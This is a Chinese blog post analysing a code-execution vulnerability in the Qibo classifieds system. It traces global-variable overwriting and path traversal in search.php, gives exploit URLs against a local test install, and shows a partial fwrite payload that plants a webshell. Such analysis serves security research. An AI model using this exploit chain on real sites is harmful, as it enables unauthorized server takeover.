【漏洞分析 】齐博分类系统 代码执行

参考资料:http://security.alibaba.com/blog/blog.htm?id=21

 

在北京折腾了几天,总算安顿下来,也入职了~~趁着入职前两天不太忙,把之前欠下来的这个POC补了一下~~

0x00 起

这个漏洞总体说来,和二次SQL注入漏洞的成因差不多。由后台的某一个点插入到数据库中(插入时,进行了转义,不存在SQL注入),然后前台访问某一个页面,将变量放入了eval中执行。

最近也想向代码审计方向走,所以尽可能的来复现一下通过审计发现漏洞的过程。主要工具是seay代码审计工具。

0x10 承

全局搜索eval,发现可疑点。

打开代码,发现数据来自qibo_jfabout表

打开jfabout表,发现存在这样的值:title=发表文章可得{$webdb[postArticleMoney]}个积分。看起来好像很有戏的样子,再搜一下有木有哪里可以添加东西到这个表里。

OK,打开看看:

有点儿不太好的感觉,虽然添加的时候没有经过过滤(注意,过滤和转义不同),但这个点竟然是在管理中心。

搜索jfadmin_mod,发现是配置文件 /data/group/3.php。

再搜索3.php,果然是在admin中包含进来的。

漏洞突然变得鸡肋了。。好像就没有什么办法了呢。。

0x20 转

既然jfadmin_mod是通过文件包含引入的,那找找有木有文件包含漏洞好了。

在跟进前两条之前,我们需要知道qibofenlei是怎样处理数据流($_GET、$_POST等)的,也是搜索一下 $_GET,通过文件名筛选一下得到我们想要的结果:

进入文件之后:

$_GET=Add_S($_GET);

function Add_S($array){
    foreach($array as $key=>$value){
        @eregi("['\\\"]+",$key) && die('ERROR KEY!');
        if(!is_array($value)){            
            $value=str_replace("&#x","& # x",$value);    //¹ýÂËһЩ²»°²È«×Ö·û
            $value=preg_replace("/eval/i","eva l",$value);    //¹ýÂ˲»°²È«º¯Êý
            !get_magic_quotes_gpc() && $value=addslashes($value);
            $array[$key]=$value;
        }else{
            $array[$key]=Add_S($array[$key]); 
        }
    }
    return $array;
}

foreach($_GET AS $_key=>$_value){
    $_key=='GLOBALS' && die('error get value!');
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

POST、COOKIE同理。相当于把http://test.com/index.php?id=1中的$_GET['id']提取成$id。这种方法毫无疑问,是存在很大的安全隐患的。隐隐约约记得看过qibo的漏洞,是没有对key做过滤,造成覆盖全局变量,修复的方法应该就是添加了这样一句话:

!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];

我们接下来会用到的,就是通过变量覆盖,来引入上文中会用到的变量。

0x30 合

现在,我们的目标就是通过search.php中的文件包含漏洞把admin.php包含进来,然后把恶意数据写到数据库中。

我们尝试直接包含admin.php:

http://127.0.0.1:8080/test/qibofenlei/search.php?action=search&keyword=1&postdb[city_id]=../../hack/jfadmin/admin

通过print变量,可以看出文件成功包含。进一步:

http://127.0.0.1:8080/test/qibofenlei/search.php?action=search&keyword=1&postdb[city_id]=../../hack/jfadmin/admin

&action=addjf&Apower[jfadmin_mod]=1

成功进到执行query的地方。进一步:

http://127.0.0.1:8080/test/qibofenlei/search.php?action=search&keyword=1&postdb[city_id]=../../hack/jfadmin/admin

&action=addjf&Apower[jfadmin_mod]=1

&fid=111&title=test&content=fdafds&list=23333

查看数据库添加成功~~

然后把content改成${@fwrite(fopen('%d.php', 'w+'),即可写入恶意代码。

访问/do/jf.php 即可生成木马。

 

posted @ 2015-07-11 20:26  阔爱的贝贝  阅读(560)  评论(0编辑  收藏  举报